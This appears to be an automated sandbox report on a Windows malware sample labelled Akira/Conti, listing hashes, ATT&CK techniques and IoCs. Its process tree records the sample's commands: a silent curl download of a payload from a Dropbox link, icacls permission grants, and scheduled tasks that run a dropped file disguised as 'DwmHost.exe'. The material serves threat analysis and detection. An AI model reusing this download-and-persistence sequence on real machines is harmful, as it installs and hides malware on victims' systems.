0518eeef812e4313a57d377bda7d3a52aa9d31da73307e5c32fe22dcb121d777

Analysis

max time kernel
149s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
14/10/2026, 08:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe
Size 332KB
Sample261014-kner2aav4y
SHA256 0518eeef812e4313a57d377bda7d3a52aa9d31da73307e5c32fe22dcb121d777
MD5 f2c8a58ce557fa973a23cd3f7f49a941
SHA1 54d47f563e9e82c76991d6d75eb36abcd54f13ac
SHA512 741b4df9a71f274d4500306d06184a3ac304165c4dc990ac3a5126005711005f3b67849f99772ff7bfdda72c27bc1a67eb4743cb08d96f09c29a69baa0f9185b
SSDEEP 6144:kewr7eC8RmKLrQCAxPXiqehjBUFErRjwgOJnY6GgYf20NMOJHepMuA:Lwry5jzCVehjBOErRJPY0NPJH4y
TLSH
T187746C57FAA554FCC25AC038935A91B3A633B8CE06316DBF13E486302F29D516F2CB19
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

discovery execution persistence

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\International\Geo\Nation	2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe

Executes dropped EXE 2 IoCs

pid	Process
944	DwmHost.exe
1352	DwmHost.exe

Modifies file permissions 1 TTPs 3 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1752	icacls.exe
3524	icacls.exe
316	icacls.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2728	schtasks.exe
60	schtasks.exe
988	schtasks.exe
556	schtasks.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 4056 wrote to memory of 4144	4056	2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe	85
PID 4056 wrote to memory of 1752	4056	2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe	94
PID 4056 wrote to memory of 3524	4056	2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe	96
PID 4056 wrote to memory of 316	4056	2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe	98
PID 4056 wrote to memory of 1644	4056	2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe	100
PID 4056 wrote to memory of 696	4056	2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe	102
PID 4056 wrote to memory of 2728	4056	2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe	104
PID 4056 wrote to memory of 60	4056	2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe	107
PID 4056 wrote to memory of 988	4056	2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe	109
PID 4056 wrote to memory of 556	4056	2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe	111
PID 4056 wrote to memory of 1352	4056	2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe	116

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-14_f2c8a58ce557fa973a23cd3f7f49a941_akira_conti.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4056
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" -k -L --silent --show-error --output C:\ProgramData\Microsoft\Windows\Caches\dwmcore.db https://www.dropbox.com/scl/fi/i7rhg5zo9gzuvfiw4j7a5/cuia.sgn?rlkey=v2cfoq4ojhpxn79rtx6xy30dz&st=gkfdexd3&dl=1
  2⤵
  PID:4144
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" C:\ProgramData\Microsoft\Windows\Caches\DwmHost.exe /grant Users:RX /C /Q
  2⤵
  - Modifies file permissions
  PID:1752
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" C:\ProgramData\Microsoft\Windows\Caches\dwmcore.db /grant Users:RX /C /Q
  2⤵
  - Modifies file permissions
  PID:3524
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" C:\ProgramData\Microsoft\Windows\Caches /grant Users:(OI)(CI)RX /T /C /Q
  2⤵
  - Modifies file permissions
  PID:316
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Delete /TN DwmCache /F
  2⤵
  PID:1644
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Delete /TN DwmCacheHourly /F
  2⤵
  PID:696
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Create /TN DwmCache /XML C:\ProgramData\Microsoft\Windows\Caches\wer_onlogon.xml /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2728
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Create /TN DwmCacheHourly /XML C:\ProgramData\Microsoft\Windows\Caches\wer_hourly.xml /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:60
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Create /TN DwmCache /TR C:\ProgramData\Microsoft\Windows\Caches\DwmHost.exe /SC ONLOGON /IT /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:988
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Create /TN DwmCacheHourly /TR C:\ProgramData\Microsoft\Windows\Caches\DwmHost.exe /SC HOURLY /MO 2 /IT /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:556
- C:\ProgramData\Microsoft\Windows\Caches\DwmHost.exe
  "C:\ProgramData\Microsoft\Windows\Caches\DwmHost.exe"
  2⤵
  - Executes dropped EXE
  PID:1352

C:\ProgramData\Microsoft\Windows\Caches\DwmHost.exe
C:\ProgramData\Microsoft\Windows\Caches\DwmHost.exe
1⤵
- Executes dropped EXE
PID:944

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

DwmHost.exe

Path C:\ProgramData\Microsoft\Windows\Caches\DwmHost.exe
Size 332KB
SHA256 0518eeef812e4313a57d377bda7d3a52aa9d31da73307e5c32fe22dcb121d777
MD5 f2c8a58ce557fa973a23cd3f7f49a941
SHA1 54d47f563e9e82c76991d6d75eb36abcd54f13ac
SHA512 741b4df9a71f274d4500306d06184a3ac304165c4dc990ac3a5126005711005f3b67849f99772ff7bfdda72c27bc1a67eb4743cb08d96f09c29a69baa0f9185b
SSDEEP 6144:kewr7eC8RmKLrQCAxPXiqehjBUFErRjwgOJnY6GgYf20NMOJHepMuA:Lwry5jzCVehjBOErRJPY0NPJH4y
TLSH
T187746C57FAA554FCC25AC038935A91B3A633B8CE06316DBF13E486302F29D516F2CB19
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dwmcore.db

Path C:\ProgramData\Microsoft\Windows\Caches\dwmcore.db
Size 9.8MB
SHA256 57e7ecae829eda2246b9ff397b9ec481598fce57de867a02bf4c152cc4e5c652
MD5 a083cde69ae1c26e7a71d9cc2aa25168
SHA1 4a36a944fe2032f9b65289122ebf5862b2fe3cad
SHA512 497beb3b541ddbd89ff3ad21909849358a035af8137de22565eb8b5328645e7f4745a17ed038345875f818ae4b0ff985d34b99315deda4c0edf0d2621f40d40e
SSDEEP 196608:A28ALeIom0jXC01DuVTiJSaa9+kb43FXJzMM9I/j597JX8obW0:AD+Z94S2DuVraaBKRN9IWobW0
TLSH
T16CA63378F5D7BFFE1038AC9A3B1243D2496467F98120535EFD07D79152629E9EC38842
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wer_hourly.xml

Path C:\ProgramData\Microsoft\Windows\Caches\wer_hourly.xml
Size 2KB
SHA256 16f51b9c6b3cff6c54acf9d0f4e4907fe17337a5b40cb9e2bd81dceac0f35f3e
MD5 54124924c20edae740463a0aca5cec48
SHA1 e33a6d1e2f69b7d9acec159a4dbec32a01fa063d
SHA512 9dc6e3f652956520449a969e6d5890ccd2e4cf0d12ff9a05f376cd1fba5b9111ffe3a30d22eb9a95ef9f6f205b90baa33b9bd11d81e6a9542a60db0afaa4b3ac
TLSH
T13651474367EE1109F1F36B5CAAB754628EA7BC955939C46C00AC250DCBF3D2289607B7
MD5 SHA1 SHA512 TLSH

Submit Download

wer_onlogon.xml

Path C:\ProgramData\Microsoft\Windows\Caches\wer_onlogon.xml
Size 2KB
SHA256 8e466445aefa1576ffee701caefaeac2dd4b75b87c9ed78a0a0d748ddc09e29d
MD5 ffd00e284533500c11ee861717a790f8
SHA1 728f5b28edf7aa48f51caab0f5b8dbe7ef687480
SHA512 a4f675fdbf888b0ca82ca9b297971433452780d938f3431c4744195b73a50883d0dd9a43db90102607654bdffa96c1967106be73df90b8608fc88b6b3b8c6f8e
TLSH
T1EF4137436BEE2209F1F36B5CAAB614614EA7BC554D39C46C00AC250DCAF7D228960BB7
MD5 SHA1 SHA512 TLSH

Submit Download

memory/944-10-0x00000214B45B0000-0x00000214B4F7A000-memory.dmp

Download

memory/944-15-0x00000214B7480000-0x00000214BAEDF000-memory.dmp

Download

memory/944-16-0x00007FF738E90000-0x00007FF738EEA000-memory.dmp

Download

memory/1352-14-0x00007FF738E90000-0x00007FF738EEA000-memory.dmp

Download

memory/4056-13-0x00007FF670D70000-0x00007FF670DCA000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads